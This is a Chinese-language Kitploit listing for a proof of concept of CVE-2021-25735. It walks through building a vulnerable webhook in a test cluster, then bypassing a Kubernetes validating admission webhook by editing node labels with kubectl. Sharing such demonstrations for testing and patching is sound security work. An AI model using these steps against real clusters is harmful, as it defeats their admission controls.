Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-25735 — 用于 CVE-2021-25735 的漏洞利用,演示通过节点标签操作绕过 Kubernetes 验证准入 Webhook,附带可部署的 Docker 容器和 Webhook 注册脚本。 | Kitploit
工具/GitHubGitHub/darryk10/cve-2021-25735
容器安全漏洞分析漏洞利用Web安全渗透测试云安全
GitHubdarryk10/cve-2021-25735

CVE-2021-25735

用于 CVE-2021-25735 的漏洞利用,演示通过节点标签操作绕过 Kubernetes 验证准入 Webhook,附带可部署的 Docker 容器和 Webhook 注册脚本。

查看仓库
17525年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-25735

利用CVE-2021-25735:绕过Kubernetes验证准入Webhook

设置脆弱环境

让我们先运行脚本gencerts.sh生成TLS证书和密钥。
bash gencerts.sh

要部署准入控制器,你需要本地构建Docker容器镜像,打标签,并使用以下命令将镜像推送到你的Dockerhub。
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0

现在你可以将创建的镜像与Node.js应用部署到你的K8s集群中。webhook-deploy.yaml将部署集群所需的所有组件。
kubectl apply -f webhook-deploy.yaml

现在让我们向Kubernetes API Server注册我们的webhook。为此,我们创建之前生成的ca.crt文件的Base64编码,并替换webhook-registration.yaml中的CA_BUNDLE。
cat ca.crt | base64

最后,我们将向Kubernetes API Server注册webhook。
kubectl apply -f webhook-registration.yaml

利用CVE-2021-25735

我们使用edit nodes更改节点标签,并添加一个新标签。
kubectl edit nodes ip-172-20-61-82.ec2.internal

root@kitploit:~
  labels:  
    test: test  
    changeAllowed: "false"

由于ChangeAllowed设置为"false",我们会得到以下错误:

错误:节点 "ip-172-20-46-130.ec2.internal" 无法打补丁:准入webhook "validationwebhook.validationwebhook.svc"拒绝了请求:验证失败 你可以运行 kubectl replace -f /tmp/kubectl-edit-irc64.yaml 来再次尝试此更新。

如果我们重试修改节点,进行以下更改:\

root@kitploit:~
  labels:  
    test: test  
    changeAllowed: "true"

在这种情况下,编辑操作已被接受,绕过了准入控制器。

下载工具